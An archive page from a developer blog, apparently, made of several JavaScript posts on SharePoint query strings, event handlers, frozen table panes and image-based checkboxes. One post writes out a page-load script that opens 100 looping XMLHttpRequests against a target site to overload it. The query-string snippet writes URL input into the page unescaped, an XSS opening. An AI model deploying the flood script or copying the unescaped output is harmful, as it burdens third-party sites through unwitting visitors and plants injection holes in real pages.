Archive for the 'JavaScript' Category

Showing Query String parameters in a page in SharePoint

I came across an interesting little problem with putting query string parameters for an HTTP request into a SharePoint page.

I was using a Dataview web part, which accepts query string parameters into the filter that it runs over the data that it’s going to display. That’s pretty cool - I had a list of items with a status column, and I wanted to be able to filter the items based on that status, and that the status would come from the query string. However, on the page, I also wanted to show a title with what was being filtered by in it. So, for example, my url might read:

http://server/site/page.aspx?status=Ready

And I wanted the title in the page to read “Filtering by ‘Ready‘”.

What I didn’t appear to be able to do was to just use the request object . Something like

<%= Request.QueryString.ToString() %>

won’t work as code blocks aren’t, apparently, allowed in the file - the error message is “code blocks are not allowed in this file”. Okay, given that SharePoint designer is supposed to open these pages up to ‘Power Users’ I do get why code blocks aren’t allowed. But I really wanted to write code, and there had to be a way to do that. Well, Kirk Allen Evans has figured out how - you have to enable them in the PageParserPaths section of the web.config file. (It’s strange how easy it is to forget the web.config file that controls SharePoint sometimes). Just to repeat his example (in case blue and red on black is difficult to read):

<PageParserPaths>
<PageParserPath VirtualPath="/pages/*" CompilationMode="Always" AllowServerSideScripting="true" />
</PageParserPaths>

This example allows code blocks for all files under the /pages directory of my web application - it’s worth noting that this is for the web application in IIS, not a SharePoint site collection or the like.

Okay, so that works - great. However, there are security implications, and this is probably best only used for development environments. I’ve written a bit about under what conditions our inline code will run.

In our instance our customer is kind of reluctant to make changes on their server. Changing the web.config file would be a bit of a bit deal. (As a side note, this is a bit restrictive - I think a blog posting on that is due sometime). So what could we do without a server footprint?

Well, without code in the page, we would need a web control to call in that page - that would work also. It’d be trivial to write one. However, that requires deployment, marking as safe in the web.config file, etc., so really that just pushes the problem into another file.

Thus, I ended up getting a bit ‘old skool’ - JavaScript in the page to write the value from the query string on the client. I came up with:

<script type="text/javascript">
var query = window.location;
var regex = /letter=([^&=]+)/i;
var match = regex.exec( query );
if( match != null ) {
document.write( “Filtering by ‘” + match[1] + “‘” );
}
</script>

What this code does is it gets the page’s url (window.location), runs a regular expression looking for the ‘letter’ parameter, and if it find one, it outputs some text to the document. A bit noddy, but simple and it works - with no server footprint. Of course, you do need JavaScript enabled…

Add an event handler

I keep using this snippet of code:

if( window.addEventListener ) {
window.addEventListener("load", fn, false );
} else if( window.attachEvent ) {
window.attachEvent("onload", fn );
}

It’s just a tidier way of attaching a function ‘fn’ to an event. It also allows multiple handlers per event. There could be another ‘else’ where we just assign the function to an event (e.g. window.onload = fn ) but that would only support one handler per event.

Reflections

Add reflections to images using JavaScript. Neat.

More about frozen panes…

So, I’ve been working with ‘Frozen’ panes in tables in HTML. The problem is, some of these tables are, well, a little big. Like maybe 100 cells square. I found that the technique mentioned earlier in my blog didn’t work very well, as the scrolling on the DIV tag became slow and jerky.

This makes sense really - each cell is having it’s CSS rerun each time. Then it struck me - the styles were defined as:

td.frozen {
padding: 3px;
position:relative;
top: expression(document.getElementById('pane').scrollTop-2); /*IE5+ only*/
z-index: 5;
}

This mean that ‘getElementById’ was being run repeatedly. However, the style’s JavaScript was being run before ‘onload’. I just couldn’t run the ‘getElementById’ to populate a global variable after the element had been created, but before the style expressions were run. Instead, in a moment of clarity, I changed the style to:

td.frozen {
padding: 3px;
position:relative;
top: expression(getPane().scrollTop-2); /*IE5+ only*/
z-index: 5;
}

And added a script:

var pane;

function getPane() {
if( pane == null ) {
pane = document.getElementById(”pane”);
}
return pane;
}

Thus, we only run getElementByID once - the first time a CSS style’s javascript expression is run. This worked - the DIV tag now scrolls much more quickly, certainly not so as users will notice any lag.

Lock a column or ‘freeze panes’ in scrollable tables

This is quite clever - locking or freeze panes in HTML tables. This is something I’ve been asked to do a couple of times, and it’s hard. Fundamentally, web pages are not Excel.

Well, that solution works, although I guess it’s only useful in an intranet environment - it only works on IE. And it mystifies me why someone would want to or be allowed to run javascript from inside a CSS declaration. Still, we’ve checked it - works on IE 5.5 to 7.

Styling Checkboxes with JavaScript

I’ve been reading recently about how to do Styled Checkboxes. Well, this was something I was working on too - and naturally, I like my way more.

How it works
When the page loads, the JavaScript in checkbox.js checks all of the INPUT tags on the page. If they are a checkbox, and have BOTH and imgOn and an imgOff, then the INPUT tag has its style set to hidden, and the appropriate images are added to the DOM. They’re floating, though, and so are positioned where the checkbox was on the page.

When you click on one, it changes the state of the underlying checkbox (it’s still there, just hidden), and displays the image appropriate for that state.

When the form is submitted, the checkbox is submitted as normal.

As a user leaves the page, on unload the code in checkbox.js tries to tidy up after itself, although I’m a little concerned about memory leaks after some interesting articles I read recently.

Known Issues

  • These controls are not part of the tabindex. My friend Bruce Sandeman has been working on a version of this where the images are ‘tabable’, but is struggling to turn the border of the images off. I’ve included the code anyway - see checkbox2.js. I’ve not reviewed it yet, so user beware!
  • It’d be nice to hand all events on to the original checkbox for handling.
  • At the least, some sort of mouseover/mouseout? It’s not so obvious that these are checkboxes, at least with the demo images I’ve chosen.
  • I’m a little concerned about memory leaks given some things I’ve read recently and my use of closures. If anyone knows how to prove/prevent any leaks, let me know, that would be cool

How to Use

Real tricky this - include the checkbox.js file in your HTML page.
<script src="checkbox.js"></script>
Then, in the HTML for each of your checkboxes, add two new attributes - ‘imgOn’ and ‘imgOff’. The value of these attributes should be the path to the images you want to use for the checked (’on’) and unchecked (’off’) states.

<input type="checkbox" value='2' imgOn='tick.gif' imgOff='cross.gif' />

and with luck, that should be you done.

See the code below: Read more »

XMLHTTPRequest for Denial of Service

Maybe the XMLHTTPRequest handler isn’t such a good idea…

Right, so I was thinking about the XMLHTTPRequest handler. Well, okay, actually, I was thinking of Sandra Bullock, and this idea popped into my head…

You can use XMLHTTPRequests to make requests of a web server. Fair enough. And you can make requests of another site - check. And you can make many of them on one page - yup. And finally, you don’t have to do anything with the response - you see where I’m going with this yet?

Assume you have a function for creating XMLHTTPRequest objects. Consider the following:
var urlTarget = 'www.example.com'; // The site we want to DOS
var aStack = array();

function fnHTTP (oHTTP) {
return function () {
if (oHTTP.readyState == 3) {
oHTTP.open("GET", urlTarget, true);
oHTTP.send(null);
}
}
}

function setupDOS () {
for (i=0; i<100; i++ ) {

oHTTP = GetXMLHTTPRequest();
oHTTP.open("GET", urlTarget, true);
oHTTP.onreadystatechange = fnHTTP(oHTTP);
oHTTP.send(null);

aStack.push( oHTTP );
}
}

window.onload = setupDOS;
So, a user goes to a page. In the background, after they’ve loaded the page, JavaScript is creating a whole load of XMLHTTPRequest objects, and then using these to make requests of a target site. And as each object gets serviced, it makes another request. Read more »

I like Google

So, I’d been thinking of writing something like this. Basically, it allows you to fetch and XML page through the XMLHTTPRequest thingy, apply a style to it, and display it as a page. Cool!

More JavaScript scripts

A whole range of tools at onlinetools.org for doing all the normal JavaScripty things - fly out menus and the like…

Another Javascript component, maybe?

Dynamic Select Boxes from Bobby van der Sluis - for when you have two select boxes that need to relate to each other. Neat idea, works nicely, and I think I have a use for it…

Next Page »